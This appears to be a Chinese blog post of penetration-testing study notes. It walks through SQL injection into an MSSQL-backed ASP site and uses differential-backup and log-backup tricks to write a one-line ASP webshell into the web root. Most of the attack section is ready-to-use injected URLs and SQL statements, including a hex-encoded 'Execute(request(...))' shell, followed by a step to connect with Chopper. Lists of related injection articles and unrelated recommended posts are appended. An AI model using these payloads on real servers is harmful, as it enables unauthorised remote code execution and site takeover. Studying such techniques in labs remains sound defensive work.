大哥带的mssql注入拿shell
任务二 注入点拿shell
路径的爆破
https://blog.csdn.net/edu_aqniu/article/details/78409451
0X01判断 是否为判断当前数据库用户名是否为DB_OWNER:
是

Mssql拿shell有两种方法 win2008sever里面
0X02数据库备份拿shell
0X001 创建自己的数据库
http://www.aspx-sqli.com/index.asp?id=1;create%20database%20zhong;

0X002先进行一次完整备份:
?id=1;backup database zhong to disk = 'E:\wwwroot\asp_sqli';

0X003使用数据库:
http://www.aspx-sqli.com/index.asp?id=1;use%20zhong;

0x004创建新表:在数据库名为中的库里面创建一个新的cmd表
create table [dbo].[zhong] ([cmd] [image]);

0X006向cmd表中插入数据
?id=1;insert into zhong(cmd) values(0x3C25657865637574652872657175657374282276616C7565222929253E);


0X007进行数据库的差异备份
?id=1;backup database zhong to disk='E:\wwwroot\asp_sqli\zhongqzi.asp' WITH DIFFERENTIAL,FORMAT;

然后菜刀连接

0X03log备份拿shell
0X001 激活为还原模式
这里要注意的是我们通过备份拿shell 要注意是需要进行数据库的
LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份
?id=1;alter database asp_test set RECOVERY FULL –

0X002创建新的表cmd
?id=1;create table cmd (a image) –

0X003备份当前库的log到网站根目录
?id=1;backup log asp_test to disk = 'E:\wwwroot\asp_sqli\zhong.asp' with init –

0X004在cmd表的a列中插入一句话
insert into cmd (a) values ('<%%25Execute(request("go"))%
%>')--

0X005备份差异log
;backup log asp_test to disk = 'E:\wwwroot\asp_sqli\zhongqi.asp' --

0x006 菜刀连接

----致谢 卿哥
https://www.cnblogs.com/-qing-/p/10364190.html
带我们一点一点了解渗透
学习之路 少就是多 慢就是快
大哥带的mssql注入拿shell的更多相关文章
- 大哥带的MSsql注入(SQL Server)--预习
		①判断数据库类型and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) f ... 
- 渗透测试学习 九、 MSsql注入上
		MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ... 
- MSSQL注入常用SQL语句整理
		很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ... 
- 一个罕见的MSSQL注入漏洞案例
		一个罕见的MSSQL注入漏洞案例 这里作者准备分享一个在去年Google赏金计划中发现的相当罕见漏洞,也是作者在整个渗透测试生涯中唯一一次遇到的. 目标网站使用了微软 SQL Server 数据库并且 ... 
- MSSQL注入:显错注入及反弹注入
		前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ... 
- .NET 使用自带 DI 批量注入服务(Service)和 后台服务(BackgroundService)
		今天教大家如何在asp .net core 和 .net 控制台程序中 批量注入服务和 BackgroundService 后台服务 在默认的 .net 项目中如果我们注入一个服务或者后台服务,常规的 ... 
- 大哥带的Orchel数据库的报错注入
		0X01 使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式. news.jsp? ... 
- 大哥带的Orchel数据库的注入
		0X01 先进行判断 a.jsp?username=SMITH and = 发现单引号闭合 我们尝试构造闭合 存在注入 a.jsp?username=SMITH'='1 正确 a.jsp?user ... 
- 大哥带的Orchel数据库的盲注入bool型
		0X01判断闭合 ?username=SMITH' 错误 ?username=SMITH'' 正确 ?username=SMITH' and ascii(substr((select user fro ... 
随机推荐
- IIS服务搭建  试图加载格式不正确的程序
			1.基础步骤 https://jingyan.baidu.com/article/fedf073770f23335ac8977b1.html 2.错误解决 试图加载格式不正确的程序 解决:在IIS ... 
- Android尺寸适配问题
			1, 布局与组件大小用dp,文字大小用sp 2, 
- RabbitMQ入门教程(十七):消息队列的应用场景和常见的消息队列之间的比较
			原文:RabbitMQ入门教程(十七):消息队列的应用场景和常见的消息队列之间的比较 分享一个朋友的人工智能教程.比较通俗易懂,风趣幽默,感兴趣的朋友可以去看看. 这是网上的一篇教程写的很好,不知原作 ... 
- IWorkspace pWorkspace = pWorkspaceFactory.OpenFromFile(Application.StartupPath + "\\temp", 0); 报:异常来自 HRESULT:0x80040228
			原因:未添加License. 解决办法:在窗体中添加LicenseControl即可.如下图,License图标运行时不会显示. 
- npm学习(九)之README.md文件
			包括文档(readme.md) npm建议您包含一个readme文件来记录您的包.自述文件必须有文件名readme.md.文件扩展名.md表示该文件是一个标记(markdown)文件.当有人发现您的包 ... 
- css练习小总结
			1.div水平居中:/*设置div宽度后,margin:0 auto:*/2.div显示在一行:/*float:left:*/ 3.text-align:/*后面标签里的内容水平居中:*/4.alig ... 
- 实践周java基础软件开发app之五子棋
			五子棋人机对战实践项目 总的任务和目标 完成一个人机对战的五子棋项目,基本效果如下: 第一部分 Java绘图原理 1. 基本概念 像素,坐标 第二部分 绘制棋盘 1. 基本思路 在一个JPan ... 
- Centos7下常用配置命令
			1.禁用ipv6 Step 1: add this rule in /etc/sysctl.conf : net.ipv6.conf.all.disable_ipv6=1 Step 2: add th ... 
- VMware导入ova报错
			报错如下: 此主机支持Intel VT-x,但Intel VT-x处于禁用状态. 解决方案如下: 联想E75主机,重启按F1进入BIOS Advanced—>CPU setup—>In ... 
- netty学习第5章 netty整合websocket
			学习netty之后,可能都有一个疑问,就是如何选择一个编码.解码器,在netty中的编解码可是和json这种编解码是不一样的,netty的编解码器主要是解决TCP粘包.拆包的问题.netty中有许多自 ... 
